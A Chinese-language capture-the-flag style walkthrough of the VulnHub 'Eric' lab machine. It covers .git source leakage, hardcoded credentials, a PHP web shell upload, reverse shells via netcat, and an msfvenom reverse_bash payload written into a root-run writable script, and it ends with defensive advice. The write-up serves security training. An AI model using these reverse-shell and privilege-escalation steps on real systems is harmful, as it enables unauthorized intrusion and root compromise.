VulnHub靶机学习——Eric
字数 1143 2025-08-18 11:39:04
VulnHub靶机Eric渗透测试教学文档
靶机概述
- 靶机名称: Eric
- 难度等级: 初级
- 目标: 获取两个flag文件(/root/flag.txt和/home/eric/flag.txt)
- 运行环境:
- 攻击机: Kali Linux
- 靶机: Eric (运行于VM VirtualBox中)
- 网络设置: NAT模式
信息收集阶段
1. 网络扫描
使用nmap进行主机发现和端口扫描:
nmap -sV 10.0.2.0/24
发现靶机IP为10.0.2.5,开放端口:
- 22/tcp - SSH
- 80/tcp - HTTP
2. Web服务枚举
访问http://10.0.2.5,发现一个"未完成的博客"页面。
使用dirbuster进行目录爆破,发现以下重要路径:
- /admin.php
- /.git/
- /upload/
漏洞利用
1. 获取管理员凭证
发现.git目录存在信息泄露,使用GitHack工具还原源代码:
python GitHack.py http://10.0.2.5/.git/
分析还原的源代码:
- admin.php和index.php源码被还原
- 在源码中发现硬编码的管理员凭证:
- 用户名: admin
- 密码: password123
2. 登录后台并上传Web Shell
- 访问/admin.php,使用获取的凭证登录
- 发现文件上传功能,无严格文件类型限制
- 上传PHP反向shell脚本(6666.php)
3. 建立反向Shell连接
在Kali上监听:
nc -lvnp 6666
访问上传的shell脚本:
http://10.0.2.5/upload/6666.php
获得初始shell后,升级为交互式shell:
python3 -c 'import pty; pty.spawn("/bin/bash")'
权限提升
1. 获取第一个flag
cat /home/eric/flag.txt
2. 发现特权脚本
在/home/eric目录下发现backup.sh:
- 以root权限运行
- 具有完全权限(777)
3. 利用特权脚本提权
- 在Kali上生成反向shell payload:
msfvenom -p cmd/unix/reverse_bash LHOST=10.0.2.4 LPORT=1234 R
- 将payload写入backup.sh:
echo "生成的payload" > /home/eric/backup.sh
- 在Kali上监听新端口:
nc -lvnp 1234
- 等待脚本执行或手动触发,获得root shell
4. 获取root flag
cat /root/flag.txt
关键工具总结
-
信息收集工具:
- nmap
- dirbuster/dirb
- GitHack
-
漏洞利用工具:
- msfvenom (生成payload)
- netcat (监听和建立连接)
-
技术要点:
- .git目录泄露利用
- 文件上传漏洞利用
- 特权脚本滥用提权
- 反向shell建立与交互式shell升级
防御建议
-
针对.git泄露:
- 生产环境删除.git目录
- 配置服务器禁止访问.git目录
-
针对文件上传漏洞:
- 实施严格的文件类型检查
- 将上传文件存储在非web可访问目录
- 重命名上传文件
-
针对权限提升:
- 遵循最小权限原则
- 定期审计特权脚本
- 使用chmod限制脚本权限
-
通用防御:
- 避免在代码中硬编码凭证
- 实施输入验证和输出编码
- 定期进行安全审计和渗透测试